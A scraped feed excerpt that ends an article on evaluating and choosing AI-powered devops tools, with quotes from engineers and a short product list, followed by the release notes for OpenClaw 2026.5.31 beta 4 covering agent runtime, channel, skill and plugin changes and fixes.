<p>The biggest benefit Vangala has seen is faster troubleshooting. “When something breaks in a distributed system, the hard part isn’t usually fixing it; it’s figuring out where the problem actually started,” he says. “AI-assisted log analysis and anomaly detection tools help narrow down the likely root cause much faster than manual inspection alone.”</p>



<p>Another noticeable benefit is reduced time spent on repetitive engineering tasks. “Writing scripts, setting up environments, or generating API documentation templates used to take a lot of time,” Vangala says. “With AI-assisted tooling, those tasks are faster, which gives engineers more time to focus on architecture and reliability.”</p>



<p><a href="https://mymanager.com/">MyManager</a>, a business management platform that allows entrepreneurs to better manage operations, has gradually introduced AI into its development workflow to enhance engineering productivity and streamline day-to-day development tasks, says CEO <a href="https://www.linkedin.com/in/clintonoh/">Clinton Oh</a>.</p>



<p>“Across the team, AI is primarily used to accelerate code writing, reduce repetitive implementation work, assist with debugging and issue resolution, and support developers in exploring different approaches during implementation,” Oh says.</p>



<p>This approach has helped standardize how the company leverages AI as part of development, allowing engineers to move faster while maintaining full control over system design and technical decisions. “Overall, AI serves as a productivity layer within our development process, enabling more efficient execution without replacing core engineering judgment,” Oh says.</p>



<h2 class="wp-block-heading">Evaluating AI-powered devops tools</h2>



<p>When evaluating AI tools for devops, one of the most important considerations is context awareness. “The tool needs to understand your actual environment: code, pipelines, infrastructure, and telemetry,” Kapoor says.</p>



<p>This includes being able to fit into existing workflows. “The best tools integrate where engineers already work,” Kapoor says, including integrated development environments (IDEs), CI/CD, and observability platforms.</p>



<p>“When we evaluate AI tools for devops, the first question is always, does this actually fit into how we already work?” Vangala says. “If a tool requires major architectural changes just to adopt it, that’s usually a red flag. The best tools integrate cleanly into existing CI/CD pipelines, logging systems, and cloud environments.”</p>



<p>Regardless of how impressive a product demo from a vendor looks, “if it forces engineers to change the way they work, adoption will stall,” Swanson says.</p>



<p>Another thing Vangala pays close attention to is how transparent the tool is. “If an AI system recommends an action, engineers need to understand why,” he says. “Blind automation is risky in production environments.”</p>



<p>Actionability is something else to explore. “Does the tool just summarize a problem, or does it show what to do next?” Kapoor says. “That’s something I’ve been exploring directly in my own work with a CLI [command-line interface] tool for dependency vulnerability scanning.”</p>



<p>One of the gaps Kapoor kept seeing is that tools will surface common vulnerabilities and exposures (CVEs), “but won’t clearly guide developers on what to fix first,” he says. “The approach I’ve taken there is to separate direct and transitive issues and suggest a concrete remediation path, not just a report.”</p>



<p>That same principle applies to AI in devops. “If the output doesn’t reduce ambiguity or help you take action, it’s not solving the real problem,” Kapoor says.</p>



<p>Overall security is a key factor as well, including the ability to verify that tools are taking the necessary precautions to prevent data leakage. “Engineers must validate the AI’s suggestions, especially in production or security contexts,” Kapoor says.</p>



<p>“Many devops tools interact with sensitive infrastructure data, such as logs, configs, and deployment pipelines, which makes governance and data-handling policies matter just as much as technical capabilities,” Vangala says. “But honestly, the biggest test is how the tool behaves during failure scenarios. Tools always look good during normal operations. The real evaluation happens when something goes wrong.”</p>



<h2 class="wp-block-heading">In-demand AI tools for devops</h2>



<p>AI-powered devops tools come in many shapes and sizes, covering the full spectrum of tasks across the software development life cycle. The eight tools listed below represent a tiny fraction of the large and growing number of tools for AI-assisted development, software testing, security scanning, infrastructure automation, CI/CD, monitoring and observability, cloud optimization, incident response, and much more. </p>



<ul class="wp-block-list">
<li><strong>Amazon Q Developer</strong>—An AI-powered coding assistant that combines code completion, code generation, code explanation, and an agent that can autonomously perform a range of tasks across the software development life cycle. You can also chat with Amazon Q Developer about AWS capabilities, and ask it to review your resources, analyze your bill, or architect solutions. It knows about AWS well-architected patterns, documentation, and solution implementation.</li>



<li><strong>Azure Monitor</strong>—A comprehensive observability service from Microsoft that collects, analyzes, and acts on telemetry data from cloud and on-premises environments, in order to maximize application and infrastructure performance. It automatically monitors Azure resource metrics/logs and provides deep insights into virtual machines, containers, and databases, with key features including alerts, dashboards, and automated troubleshooting. </li>



<li><strong>Datadog Bits AI</strong>—A generative AI-powered devops copilot integrated into the Datadog platform and designed to automate incident investigation, security triage, and remediation workflows. It acts as an “agentic teammate,” assisting engineers by analyzing logs, metrics, and traces; suggesting code fixes; and interacting via chat in the web app or Slack. </li>



<li><strong>GitHub Copilot</strong>—An AI coding assistant that helps developers write code faster and with less effort. It provides real-time, context-aware code suggestions that range from single lines to entire functions, directly within code editors such as VS Code, Visual Studio, and JetBrains. The tool supports OpenAI, Anthropic, and Google models. Organizations can get Copilot Business for development teams through an enterprise account.</li>



<li><strong>Google Gemini Cloud Assist</strong>—An AI-powered collaborator integrated into Google Cloud, Gemini Cloud Assist is designed to help teams move from reactive troubleshooting to proactive, autonomous cloud operations. The multi-agent system can simplify the end-to-end application life cycle by offering agentic guidance for designing, deploying, troubleshooting, and optimizing cloud workloads.</li>



<li><strong>Harness AI</strong>—An AI-native software delivery platform that accelerates development by automating devops, testing, security, and cloud cost management using specialized AI agents. It enables faster and more secure software releases by providing intelligent, contextual insights for continuous delivery and incident management, reducing the need for manual work by developers.</li>



<li><strong>IBM Cloud Pak for Watson AIOps</strong>—An AI-driven platform that automates IT operations by analyzing logs, metrics, and events in real-time. It helps teams predict incidents, reduce alert noise, and accelerate incident resolution, enhancing hybrid cloud resilience. Key features include anomaly detection, topological mapping, and chatops integration.</li>



<li><strong>Snyk AI Security Platform (or Snyk AI)</strong>—A developer security platform designed to secure AI-driven development by providing visibility, control, and autonomous defense for AI-generated code, AI-native applications, and agentic systems. It enables developers to create products securely using AI coding assistants while automatically identifying, prioritizing, and fixing vulnerabilities in source code, open-source dependencies, and infrastructure as code.</li>
</ul>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.5.31 beta 4]]></title>
<description><![CDATA[Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Disc...]]></description>
<link>https://tsecurity.de/de/3561696/downloads/openclaw-2026531-beta-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3561696/downloads/openclaw-2026531-beta-4/</guid>
<pubDate>Mon, 01 Jun 2026 04:31:13 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Gateway and channel setup add Tailscale Serve service-name binding, Communication notification settings, safer <code>agents add</code>, and more reliable progress drafts across Discord, Telegram, Slack, Matrix, and Teams. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354639496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74715" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74715/hovercard" href="https://github.com/openclaw/openclaw/pull/74715">#74715</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463729976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83115/hovercard" href="https://github.com/openclaw/openclaw/issues/83115">#83115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558636505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88749/hovercard" href="https://github.com/openclaw/openclaw/pull/88749">#88749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VladyslavLevchuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VladyslavLevchuk">@VladyslavLevchuk</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.</li>
<li>Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.</li>
<li>Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, and expose calmer composer controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559381540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88825" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88825/hovercard" href="https://github.com/openclaw/openclaw/pull/88825">#88825</a>)</li>
<li>Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559632397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88851/hovercard" href="https://github.com/openclaw/openclaw/pull/88851">#88851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>iOS: support native iPad display layouts.</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Workboard: wire task-backed board runs and show task comments in the edit modal.</li>
<li>Gateway: support Tailscale Serve service-name bindings for gateway exposure and status.</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Code mode: add MCP API files and docs for code-mode integrations.</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Control UI: add calmer chat composer controls for active chat entry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>)</li>
<li>Control UI: expose the Communication Notifications settings tab so notification controls are reachable from settings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354639496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74715" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74715/hovercard" href="https://github.com/openclaw/openclaw/pull/74715">#74715</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VladyslavLevchuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VladyslavLevchuk">@VladyslavLevchuk</a>.</li>
<li>Plugin SDK/channels: add typed presentation command actions so native slash-command and callback controls can round-trip through capable channel plugins without being reinterpreted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558368986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88721/hovercard" href="https://github.com/openclaw/openclaw/pull/88721">#88721</a>)</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>)</li>
<li>Providers: add MiniMax M3 model support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>Doctor: add disk space health checks and stabilize post-upgrade JSON probes.</li>
<li>Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.</li>
<li>Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.</li>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, and preserve workspace/session metadata through ACP runtime refactors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555235950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88405/hovercard" href="https://github.com/openclaw/openclaw/issues/88405">#88405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558386594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88724/hovercard" href="https://github.com/openclaw/openclaw/pull/88724">#88724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558459446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88730" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88730/hovercard" href="https://github.com/openclaw/openclaw/pull/88730">#88730</a>)</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.</li>
<li>Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill <code>apiKey</code> SecretRefs cannot abort embedded or channel turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>CLI: avoid live catalog validation during <code>openclaw agents add</code>, so adding a secondary agent no longer depends on provider catalog availability. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370229397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76284/hovercard" href="https://github.com/openclaw/openclaw/issues/76284">#76284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
